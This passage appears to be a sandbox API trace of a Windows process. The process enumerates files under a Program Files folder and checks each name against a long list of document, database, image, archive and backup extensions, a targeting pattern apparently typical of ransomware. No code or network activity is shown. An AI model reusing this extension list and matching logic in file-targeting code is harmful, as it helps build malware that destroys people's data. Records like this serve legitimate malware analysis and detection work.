lpString2=".xml") returned -1 [0181.692] lstrlenW (lpString=".emz") returned 4 [0181.692] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".epf") returned 4 [0181.693] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".eps") returned 4 [0181.693] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".epsf") returned 5 [0181.693] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.693] lstrlenW (lpString=".epsp") returned 5 [0181.693] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.693] lstrlenW (lpString=".erf") returned 4 [0181.693] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".exr") returned 4 [0181.693] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".f4v") returned 4 [0181.693] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".fido") returned 5 [0181.693] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.693] lstrlenW (lpString=".flm") returned 4 [0181.693] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".flv") returned 4 [0181.693] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".frm") returned 4 [0181.693] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.693] lstrlenW (lpString=".fxg") returned 4 [0181.694] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".geo") returned 4 [0181.694] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".gif") returned 4 [0181.694] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".grs") returned 4 [0181.694] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".gz") returned 3 [0181.694] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.694] lstrlenW (lpString=".h") returned 2 [0181.694] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.694] lstrlenW (lpString=".hdr") returned 4 [0181.694] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".hpp") returned 4 [0181.694] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".hta") returned 4 [0181.694] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".htc") returned 4 [0181.694] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".htm") returned 4 [0181.694] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0181.694] lstrlenW (lpString=".html") returned 5 [0181.694] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0181.695] lstrlenW (lpString=".icb") returned 4 [0181.695] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0181.695] lstrlenW (lpString=".ics") returned 4 [0181.695] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0181.695] lstrlenW (lpString=".iff") returned 4 [0181.695] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0181.695] lstrlenW (lpString=".inc") returned 4 [0181.695] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0181.695] lstrlenW (lpString=".indd") returned 5 [0181.695] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0181.695] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.696] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.696] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.696] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0181.697] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.697] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0181.697] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0181.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0181.700] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.700] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.700] lstrlenW (lpString="index.html") returned 10 [0181.701] lstrlenW (lpString=".1cd") returned 4 [0181.701] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.701] lstrlenW (lpString=".3ds") returned 4 [0181.701] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.701] lstrlenW (lpString=".3fr") returned 4 [0181.701] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.701] lstrlenW (lpString=".3g2") returned 4 [0181.701] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.701] lstrlenW (lpString=".3gp") returned 4 [0181.701] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.701] lstrlenW (lpString=".7z") returned 3 [0181.701] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.701] lstrlenW (lpString=".accda") returned 6 [0181.701] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".accdb") returned 6 [0181.702] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".accdc") returned 6 [0181.702] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".accde") returned 6 [0181.702] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".accdt") returned 6 [0181.702] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".accdw") returned 6 [0181.702] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.702] lstrlenW (lpString=".adb") returned 4 [0181.702] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".adp") returned 4 [0181.703] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai") returned 3 [0181.703] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.703] lstrlenW (lpString=".ai3") returned 4 [0181.703] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai4") returned 4 [0181.703] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai5") returned 4 [0181.703] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai6") returned 4 [0181.703] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai7") returned 4 [0181.703] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".ai8") returned 4 [0181.703] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".anim") returned 5 [0181.703] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.703] lstrlenW (lpString=".arw") returned 4 [0181.703] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".as") returned 3 [0181.703] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.703] lstrlenW (lpString=".asa") returned 4 [0181.703] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.703] lstrlenW (lpString=".asc") returned 4 [0181.704] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".ascx") returned 5 [0181.704] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.704] lstrlenW (lpString=".asm") returned 4 [0181.704] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".asmx") returned 5 [0181.704] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.704] lstrlenW (lpString=".asp") returned 4 [0181.704] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".aspx") returned 5 [0181.704] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.704] lstrlenW (lpString=".asr") returned 4 [0181.704] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".asx") returned 4 [0181.704] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".avi") returned 4 [0181.704] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".avs") returned 4 [0181.704] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".backup") returned 7 [0181.704] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.704] lstrlenW (lpString=".bak") returned 4 [0181.704] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.704] lstrlenW (lpString=".bay") returned 4 [0181.704] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".bd") returned 3 [0181.705] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.705] lstrlenW (lpString=".bin") returned 4 [0181.705] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".bmp") returned 4 [0181.705] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".bz2") returned 4 [0181.705] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".c") returned 2 [0181.705] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.705] lstrlenW (lpString=".cdr") returned 4 [0181.705] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".cer") returned 4 [0181.705] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".cf") returned 3 [0181.705] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.705] lstrlenW (lpString=".cfc") returned 4 [0181.705] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".cfm") returned 4 [0181.705] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.705] lstrlenW (lpString=".cfml") returned 5 [0181.706] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.706] lstrlenW (lpString=".cfu") returned 4 [0181.706] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".chm") returned 4 [0181.706] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".cin") returned 4 [0181.706] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".class") returned 6 [0181.706] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.706] lstrlenW (lpString=".clx") returned 4 [0181.706] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".config") returned 7 [0181.706] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.706] lstrlenW (lpString=".cpp") returned 4 [0181.706] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".cr2") returned 4 [0181.706] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".crt") returned 4 [0181.706] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".crw") returned 4 [0181.706] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.706] lstrlenW (lpString=".cs") returned 3 [0181.706] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.706] lstrlenW (lpString=".css") returned 4 [0181.706] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".csv") returned 4 [0181.707] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".cub") returned 4 [0181.707] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dae") returned 4 [0181.707] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dat") returned 4 [0181.707] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".db") returned 3 [0181.707] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.707] lstrlenW (lpString=".dbf") returned 4 [0181.707] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dbx") returned 4 [0181.707] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dc3") returned 4 [0181.707] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dcm") returned 4 [0181.707] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dcr") returned 4 [0181.707] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".der") returned 4 [0181.707] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dib") returned 4 [0181.707] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.707] lstrlenW (lpString=".dic") returned 4 [0181.708] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".dif") returned 4 [0181.708] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".divx") returned 5 [0181.708] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".djvu") returned 5 [0181.708] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".dng") returned 4 [0181.708] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".doc") returned 4 [0181.708] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".docm") returned 5 [0181.708] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".docx") returned 5 [0181.708] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".dot") returned 4 [0181.708] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".dotm") returned 5 [0181.708] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".dotx") returned 5 [0181.708] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.708] lstrlenW (lpString=".dpx") returned 4 [0181.708] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".dqy") returned 4 [0181.708] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.708] lstrlenW (lpString=".dsn") returned 4 [0181.708] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".dt") returned 3 [0181.709] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.709] lstrlenW (lpString=".dtd") returned 4 [0181.709] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".dwg") returned 4 [0181.709] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".dwt") returned 4 [0181.709] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".dx") returned 3 [0181.709] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.709] lstrlenW (lpString=".dxf") returned 4 [0181.709] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".edml") returned 5 [0181.709] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.709] lstrlenW (lpString=".efd") returned 4 [0181.709] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".elf") returned 4 [0181.709] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".emf") returned 4 [0181.709] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.709] lstrlenW (lpString=".emz") returned 4 [0181.709] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".epf") returned 4 [0181.710] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".eps") returned 4 [0181.710] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".epsf") returned 5 [0181.710] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.710] lstrlenW (lpString=".epsp") returned 5 [0181.710] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.710] lstrlenW (lpString=".erf") returned 4 [0181.710] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".exr") returned 4 [0181.710] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".f4v") returned 4 [0181.710] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".fido") returned 5 [0181.710] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.710] lstrlenW (lpString=".flm") returned 4 [0181.710] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".flv") returned 4 [0181.710] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".frm") returned 4 [0181.710] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".fxg") returned 4 [0181.710] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.710] lstrlenW (lpString=".geo") returned 4 [0181.711] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".gif") returned 4 [0181.711] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".grs") returned 4 [0181.711] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".gz") returned 3 [0181.711] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.711] lstrlenW (lpString=".h") returned 2 [0181.711] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.711] lstrlenW (lpString=".hdr") returned 4 [0181.711] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".hpp") returned 4 [0181.711] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".hta") returned 4 [0181.711] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.711] lstrlenW (lpString=".htc") returned 4 [0181.712] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.712] lstrlenW (lpString=".htm") returned 4 [0181.712] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.712] lstrlenW (lpString=".html") returned 5 [0181.712] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.712] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.712] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.712] lstrlenW (lpString=".1cd") returned 4 [0181.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.712] lstrlenW (lpString=".3ds") returned 4 [0181.713] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".3fr") returned 4 [0181.713] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".3g2") returned 4 [0181.713] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".3gp") returned 4 [0181.713] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.713] lstrlenW (lpString=".7z") returned 3 [0181.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.713] lstrlenW (lpString=".accda") returned 6 [0181.713] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".accdb") returned 6 [0181.713] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".accdc") returned 6 [0181.713] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".accde") returned 6 [0181.713] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".accdt") returned 6 [0181.713] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".accdw") returned 6 [0181.713] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.713] lstrlenW (lpString=".adb") returned 4 [0181.727] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.727] lstrlenW (lpString=".adp") returned 4 [0181.727] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.727] lstrlenW (lpString=".ai") returned 3 [0181.727] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.727] lstrlenW (lpString=".ai3") returned 4 [0181.727] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.727] lstrlenW (lpString=".ai4") returned 4 [0181.727] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.727] lstrlenW (lpString=".ai5") returned 4 [0181.727] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.727] lstrlenW (lpString=".ai6") returned 4 [0181.728] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".ai7") returned 4 [0181.728] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".ai8") returned 4 [0181.728] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".anim") returned 5 [0181.728] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.728] lstrlenW (lpString=".arw") returned 4 [0181.728] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".as") returned 3 [0181.728] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.728] lstrlenW (lpString=".asa") returned 4 [0181.728] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".asc") returned 4 [0181.728] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".ascx") returned 5 [0181.728] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.728] lstrlenW (lpString=".asm") returned 4 [0181.728] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".asmx") returned 5 [0181.728] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.728] lstrlenW (lpString=".asp") returned 4 [0181.728] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.728] lstrlenW (lpString=".aspx") returned 5 [0181.728] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.728] lstrlenW (lpString=".asr") returned 4 [0181.728] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.729] lstrlenW (lpString=".asx") returned 4 [0181.729] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.729] lstrlenW (lpString=".avi") returned 4 [0181.729] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.729] lstrlenW (lpString=".avs") returned 4 [0181.729] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.730] lstrlenW (lpString=".backup") returned 7 [0181.730] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.730] lstrlenW (lpString=".bak") returned 4 [0181.730] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.730] lstrlenW (lpString=".bay") returned 4 [0181.730] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.730] lstrlenW (lpString=".bd") returned 3 [0181.730] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.730] lstrlenW (lpString=".bin") returned 4 [0181.730] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.730] lstrlenW 